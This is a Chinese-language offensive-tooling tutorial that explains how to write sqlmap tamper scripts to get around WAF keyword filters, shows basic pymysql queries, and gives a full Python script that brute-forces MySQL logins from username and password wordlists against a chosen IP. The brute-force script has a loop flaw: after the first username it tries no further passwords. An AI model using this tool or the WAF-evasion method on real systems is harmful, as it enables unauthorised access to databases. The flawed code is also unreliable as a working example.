一、tamper编写
tamper概念:
sqlmap的--tamper参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等。
基本操作:
查看脚本:python sqlmap.py --list-tampers
使用脚本:python sqlmap.py --tamper=script_name
示例tamper脚本编写:
#!/usr/bin/env python #到环境设置里查找python的安装路径,并调用该路径下的python解释器
from lib.core.enums import PRIORITY #导入sqlmap中lib.core.enums中的PRIORITY函数
from lib.core.common import singleTimeWarnMessage
singleTimeWarnMessage('warning') #设置告警信息,用于在控制台中打印出告警信息
__priority__ = PRIORITY.LOW #当前脚本调用的优先级(一般)
def dependencies(): #声明当前脚本适用/不适用的范围,可以为空
pass
def tamper(payload,**kwargs): #定义一个tamper函数,用于篡改payload
'''
Args:
payload: 传进来的有效载荷
**kwargs:字典参数
Returns:
'''
return payload.replace(',','test') if payload else payload #将payload中的逗号替换为test
如果使用者使用了多个tamper,sqlmap就会根据每个tamper定义的PRIORITY的优先级参数调用,较高级别的tamper,如果有两个tamper需要同时使用,需要注意优先级问题。
二、pymysql库的基本使用
import pymysql
#建立连接
conn = pymysql.connect(
host = '127.0.0.1',
port = 3306,
user = 'root',
password = 'root',
database = 'mysql',
charset = 'utf8'
)
#创建游标对象
cursor = conn.cursor()
#执行SQL语句
cursor.execute('select * from db')
#获取结果数据
# print(cursor.fetchone())
print(cursor.fetchall())
# print(cursor.fetchmany())
#关闭数据库
cursor.close()
三、mysql爆破脚本编写
import pymysql
import argparse
def bruteforce(user,password,ip):
with open(user,'r',encoding='utf8') as u:
with open(password,'r',encoding='utf8') as p:
for i in u:
for j in p:
i = i.strip('\n')
j = j.strip('\n')
try:
conn = pymysql.connect(
host=ip,
user = i,
password = j,
database = 'mysql',
port = 3306,
charset = 'utf8'
)
if conn:
print(f'[+] 爆破成功: {i}/{j}')
conn.close()
except:
pass
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-u','--user',dest='user',help='input username.txt path',default='root')
parser.add_argument('-p','--password',dest='password',help='input password',default='root')
parser.add_argument('-i','--ip',dest='ip',help='input IP',default='127.0.0.1')
option = parser.parse_args()
if option.user and option.password:
bruteforce(option.user,option.password,option.ip)
else:
print('未指定username.txt或password.txt')
if __name__ == '__main__':
main()